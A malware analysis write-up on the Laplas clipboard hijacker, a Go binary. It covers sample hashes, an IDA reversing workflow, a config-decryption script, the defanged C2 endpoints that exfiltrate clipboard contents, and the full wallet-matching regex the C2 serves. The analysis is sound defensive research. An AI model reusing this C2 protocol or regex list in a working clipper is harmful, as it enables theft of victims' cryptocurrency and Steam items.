Laplace Clipper
Taking a look at this GOLang clipboard stealer
Overview
According to cyble laplas is a clipboard hijacker that is sold openly on forums. This sample of Laplas is written in GOLang, but there is also a .NET build.
According to the same blog the malware calls out to its C2 to get a list of regexes to use for clipboard hijacking.
The malware uses GetRegex() function to get all the regex patterns from the C&C server. This function calls SendRequest() function internally, which forms the below URL that downloads the regex pattern to identify the victim’s cryptocurrency wallet address.
hxxp[:]//clipper[.]guru/bot/regex?key=afc950a4a18fd71c9d7be4c460e4cb77d0bcf29a49d097e4e739c17c332c3a34
Panel
This stealer has poor OPSEC and the panel is openly available on the web at
https://laplas[.]app/
. Potential users are encouraged to create an account and purchase access to the bot.
The developer also has a telegram channel at https://t[.]me/LAPLAS_CLIPPER_NEWS
.
Samples
Packed: 81e9eefec051e50a819e76fa1ec2f088c2e8c5de677537838193cf6c2e5c7584
malware bazaar
Unpacked:f341ad891d445c745f10b4861a5c273abf7a38a0bd85168e7e6528e6b5c0141d
malshare
References
- JoeSandbox extracted c2
http://clipper.guru/bot/online
link - cyble blog describing laplas
- AlphaGolang IDA plugin
- GoReSym
GO Analysis Workflow
We are only using IDA 7.5 so we don't have a lot of the fancy GO features in the newer versions of IDA. We are mainly relying on IDA plugins to fix up the GO binary.
- Run AlphaGolang scripts (1) and (2) to label the statically linked GO runtime and library code
- Run GoReSym and imported the results with their IDA script (not sure what this did?)
- Run AlphaGolang script (4) to fix up the string refs ... this only sort of works
-
Optional mark the
.data
section with the string references as readble only (constant) to force Hex-Rays to show the string literals... we also need to uncheck thePrint only constant string literals
in the Hex-Rays options. This will now show the string refs. ref - Strings are not null terminated this means that we need to force the string size manually or IDA will assume a giant blob of ascii text is the string. There should be a better way but for now we just made a terrible one-off script.
GO String Formatting
Go strings use the following struct.
struct go_string{
char* string_buff;
DWORD string_len;
}
The following terrible script can be used to manually force the proper string length for the GO strings references in the .data
section. The start
and end
are used to mark the start and end of the GO strings table (barf heuristic to check if it's a legit string or not). This should probably be replaced and integrated into the GO scipts above.
def make_string(ptr):
start = 0x0069E954
end = 0x006B34FC
str_len = ida_bytes.get_32bit(ptr+4)
str_ptr = ida_bytes.get_32bit(ptr)
if start <= str_ptr < end:
ida_bytes.create_strlit(str_ptr, str_len, STRTYPE_C)
for ptr in range(0x0087B804, 0x087CC4F, 4):
make_string(ptr)
GO Calling Convention and IDA 7.5
There is no good way for IDA 7.5 to handle multiple return values (used by GO) in the Hex-Rays decompiler. Though later versions of IDA support a custom __usercall
notation to handle this.
import base64
data = 'FxgdBAQRBloTAQYB'
data_enc = base64.b64decode(data)
out = []
key = 0x74
for c in data_enc:
out.append(c ^ key)
bytes(out)
def decrypt(data, key):
data_enc = base64.b64decode(data)
out = []
for c in data_enc:
out.append(c ^ key)
return bytes(out)
print(decrypt('FRcRQE1GEU1CQkVGRkdAQE1DTEYSFxdMRE1CEBdCERJCRkxNREdGEERMEERHFUMWRBVNRkVDTUJGRhdHQRYQFg==',key))
print(decrypt('FxgdBAQRBloTAQYB',key))
print(decrypt('Hh0XIDI2FQIHGQ==',key))
print(decrypt('ByY5HxE2BhgsMFoEHRA=',key))
print(decrypt('JDoXDho4Az05GFoRDBE=',key))
The first string is the KEY that is used to ID the botnet operator and the second is the the C2 host (the botnet is centrally hosted so encryptiing this seems silly).
C2 URLs
Regex
The regex endpoint is used to pull down a list of regexes used to replace clipboard data.
http[:]//clipper[.]guru/bot/regex?key=ace492e9661223449782fcc8096dc6ef6289032d08d03a7b0a92179622c35bdb
Response
^(?:(1[1-9A-HJ-NP-Za-km-z]{33})|(3[1-9A-HJ-NP-Za-km-z]{33})|(bc1q[023456789acdefghjklmnpqrstuvwxyz]{38,58})|(q[a-z0-9]{41})|(p[a-z0-9]{41})|(L[a-km-zA-HJ-NP-Z1-9]{33})|(M[a-km-zA-HJ-NP-Z1-9]{33})|(ltc1q[a-km-zA-HJ-NP-Z1-9]{38})|(0x[a-fA-F0-9]{40})|(D[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32})|(4[0-9AB][1-9A-HJ-NP-Za-km-z]{93})|(8[0-9AB][1-9A-HJ-NP-Za-km-z]{93})|(r[0-9a-zA-Z]{33})|(t1[a-km-zA-HJ-NP-Z1-9]{33})|(X[1-9A-HJ-NP-Za-km-z]{33})|(ronin:[a-fA-F0-9]{40})|(T[A-Za-z1-9]{33})|(http[s]*:\/\/steamcommunity.com\/tradeoffer\/new\/\?partner=([0-9]+)&token=([a-zA-Z0-9]+))|(tz[1-3][1-9A-HJ-NP-Za-km-z]{33})|(addr1[a-z0-9]+)|(cosmos1[a-z0-9]{38})|(R[a-zA-Z0-9]{33})|([A-Z2-7]{58})|([1-9A-HJ-NP-Za-km-z]{44}))
Get
The get endpoint is used to get attacker controled data to replace the intercepted clipboard data. The clipboard data is sent in the address
parameter.
http[:]//clipper[.]guru/bot/get?address=https%3A%2F%2Fsteamcommunity.com%2Ftradeoffer%2Fnew%2F%3Fpartner%3D482147969%26token%3Db&key=ace492e9661223449782fcc8096dc6ef6289032d08d03a7b0a92179622c35bdb